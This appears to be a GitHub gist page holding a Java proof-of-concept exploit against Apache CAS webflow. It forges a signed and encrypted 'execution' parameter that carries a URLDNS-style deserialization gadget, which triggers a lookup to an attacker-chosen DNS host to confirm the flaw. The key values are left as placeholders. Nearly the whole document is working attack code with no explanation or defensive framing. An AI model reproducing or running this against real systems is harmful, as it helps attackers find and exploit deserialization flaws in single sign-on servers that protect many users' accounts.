-
-
Save devme4f/707bed738d82ae57212a0ddaf2ccfe86 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.devme; | |
import org.apache.shiro.crypto.AesCipherService; | |
import org.apache.shiro.crypto.CipherService; | |
import org.cryptacular.bean.*; | |
import org.cryptacular.generator.sp80038a.RBGNonce; | |
import org.cryptacular.io.URLResource; | |
import org.cryptacular.spec.BufferedBlockCipherSpec; | |
import org.jasig.cas.util.AbstractCipherExecutor; | |
import org.jasig.cas.util.CipherExecutor; | |
import org.jasig.spring.webflow.plugin.Transcoder; | |
import javax.crypto.spec.SecretKeySpec; | |
import javax.naming.OperationNotSupportedException; | |
import java.io.*; | |
import java.net.*; | |
import java.lang.reflect.Field; | |
import java.security.Key; | |
import java.security.KeyStore; | |
import java.util.*; | |
import java.util.zip.GZIPInputStream; | |
import java.util.zip.GZIPOutputStream; | |
public class Exploit { | |
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { | |
Field field = obj.getClass().getDeclaredField(fieldName); | |
field.setAccessible(true); | |
field.set(obj, value); | |
} | |
static class SilentURLStreamHandler extends URLStreamHandler { | |
protected URLConnection openConnection(URL u) throws IOException { | |
return null; | |
} | |
protected synchronized InetAddress getHostAddress(URL u) { | |
return null; | |
} | |
} | |
public static Object getObject(final String url) throws Exception { | |
URLStreamHandler handler = new SilentURLStreamHandler(); | |
HashMap ht = new HashMap(); | |
URL u = new URL(null, url, handler); | |
ht.put(u, url); | |
setFieldValue(u, "hashCode", -1); | |
return ht; | |
} | |
public static void main(String[] args) throws Exception { | |
String url = "http://hello.<DNS_SERVER>"; | |
UUID uuid = UUID.randomUUID(); | |
String encryptionSecretKey = "<1>"; | |
String signingSecretKey = "<2>>"; | |
CasWebflowCipherBean cwcb = new CasWebflowCipherBean(new BinaryCipherExecutor(encryptionSecretKey, signingSecretKey)); | |
EncryptedTranscoder et = new EncryptedTranscoder(); | |
et.setCipherBean(cwcb); | |
byte[] bytes = et.encode(getObject(url)); | |
String base64 = Base64.getEncoder().encodeToString(bytes); | |
String out = "execution=" + uuid + "_" + URLEncoder.encode(base64); | |
System.out.println(out); | |
} | |
static class BinaryCipherExecutor extends AbstractCipherExecutor<byte[], byte[]> { | |
private static final String UTF8_ENCODING = "UTF-8"; | |
private static final int SIGNING_KEY_SIZE = 512; | |
private static final int ENCRYPTION_KEY_SIZE = 16; | |
private String secretKeyAlgorithm = "AES"; | |
private String encryptionSecretKey; | |
public BinaryCipherExecutor(String encryptionSecretKey, String signingSecretKey) { | |
this.verifyAndSetKeys(encryptionSecretKey, signingSecretKey); | |
} | |
private void verifyAndSetKeys(String encryptionSecretKey, String signingSecretKey) { | |
this.setSigningKey(signingSecretKey); | |
this.encryptionSecretKey = encryptionSecretKey; | |
} | |
public void setSecretKeyAlgorithm(String secretKeyAlgorithm) { | |
this.secretKeyAlgorithm = secretKeyAlgorithm; | |
} | |
public byte[] encode(byte[] value) { | |
try { | |
Key key = new SecretKeySpec(this.encryptionSecretKey.getBytes(), this.secretKeyAlgorithm); | |
CipherService cipher = new AesCipherService(); | |
byte[] result = cipher.encrypt(value, key.getEncoded()).getBytes(); | |
return this.sign(result); | |
} catch (Exception var5) { | |
this.logger.error(var5.getMessage(), var5); | |
throw new RuntimeException(var5); | |
} | |
} | |
public byte[] decode(byte[] value) { | |
try { | |
byte[] verifiedValue = this.verifySignature(value); | |
Key key = new SecretKeySpec(this.encryptionSecretKey.getBytes("UTF-8"), this.secretKeyAlgorithm); | |
CipherService cipher = new AesCipherService(); | |
byte[] result = cipher.decrypt(verifiedValue, key.getEncoded()).getBytes(); | |
return result; | |
} catch (Exception var6) { | |
this.logger.error(var6.getMessage(), var6); | |
throw new RuntimeException(var6); | |
} | |
} | |
} | |
static class CasWebflowCipherBean implements CipherBean { | |
private final CipherExecutor<byte[], byte[]> webflowCipherExecutor; | |
public CasWebflowCipherBean(CipherExecutor cipherExecutor) { | |
this.webflowCipherExecutor = cipherExecutor; | |
} | |
public byte[] encrypt(byte[] bytes) { | |
return (byte[])this.webflowCipherExecutor.encode(bytes); | |
} | |
public void encrypt(InputStream inputStream, OutputStream outputStream) { | |
throw new RuntimeException(new OperationNotSupportedException("Encrypting input stream is not supported")); | |
} | |
public byte[] decrypt(byte[] bytes) { | |
return (byte[])this.webflowCipherExecutor.decode(bytes); | |
} | |
public void decrypt(InputStream inputStream, OutputStream outputStream) { | |
throw new RuntimeException(new OperationNotSupportedException("Decrypting input stream is not supported")); | |
} | |
} | |
public static class EncryptedTranscoder implements Transcoder { | |
private CipherBean cipherBean; | |
private boolean compression = true; | |
public EncryptedTranscoder() throws IOException { | |
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean(); | |
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7")); | |
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore()); | |
bufferedBlockCipherBean.setKeyAlias("aes128"); | |
bufferedBlockCipherBean.setKeyPassword("changeit"); | |
bufferedBlockCipherBean.setNonce(new RBGNonce()); | |
this.setCipherBean(bufferedBlockCipherBean); | |
} | |
public EncryptedTranscoder(CipherBean cipherBean) throws IOException { | |
this.setCipherBean(cipherBean); | |
} | |
public void setCompression(boolean compression) { | |
this.compression = compression; | |
} | |
protected void setCipherBean(CipherBean cipherBean) { | |
this.cipherBean = cipherBean; | |
} | |
public byte[] encode(Object o) throws IOException { | |
if (o == null) { | |
return new byte[0]; | |
} else { | |
ByteArrayOutputStream outBuffer = new ByteArrayOutputStream(); | |
ObjectOutputStream out = null; | |
try { | |
if (this.compression) { | |
out = new ObjectOutputStream(new GZIPOutputStream(outBuffer)); | |
} else { | |
out = new ObjectOutputStream(outBuffer); | |
} | |
out.writeObject(o); | |
} finally { | |
if (out != null) { | |
out.close(); | |
} | |
} | |
try { | |
return this.cipherBean.encrypt(outBuffer.toByteArray()); | |
} catch (Exception var7) { | |
throw new IOException("Encryption error", var7); | |
} | |
} | |
} | |
public Object decode(byte[] encoded) throws IOException { | |
byte[] data; | |
try { | |
data = this.cipherBean.decrypt(encoded); | |
} catch (Exception var11) { | |
throw new IOException("Decryption error", var11); | |
} | |
ByteArrayInputStream inBuffer = new ByteArrayInputStream(data); | |
ObjectInputStream in = null; | |
Object var5; | |
try { | |
if (this.compression) { | |
in = new ObjectInputStream(new GZIPInputStream(inBuffer)); | |
} else { | |
in = new ObjectInputStream(inBuffer); | |
} | |
var5 = in.readObject(); | |
} catch (ClassNotFoundException var10) { | |
throw new IOException("Deserialization error", var10); | |
} finally { | |
if (in != null) { | |
in.close(); | |
} | |
} | |
return var5; | |
} | |
protected KeyStore createAndPrepareKeyStore() { | |
KeyStoreFactoryBean ksFactory = new KeyStoreFactoryBean(); | |
URL u = this.getClass().getResource("/etc/keystore.jceks"); | |
ksFactory.setResource(new URLResource(u)); | |
ksFactory.setType("JCEKS"); | |
ksFactory.setPassword("changeit"); | |
return ksFactory.newInstance(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment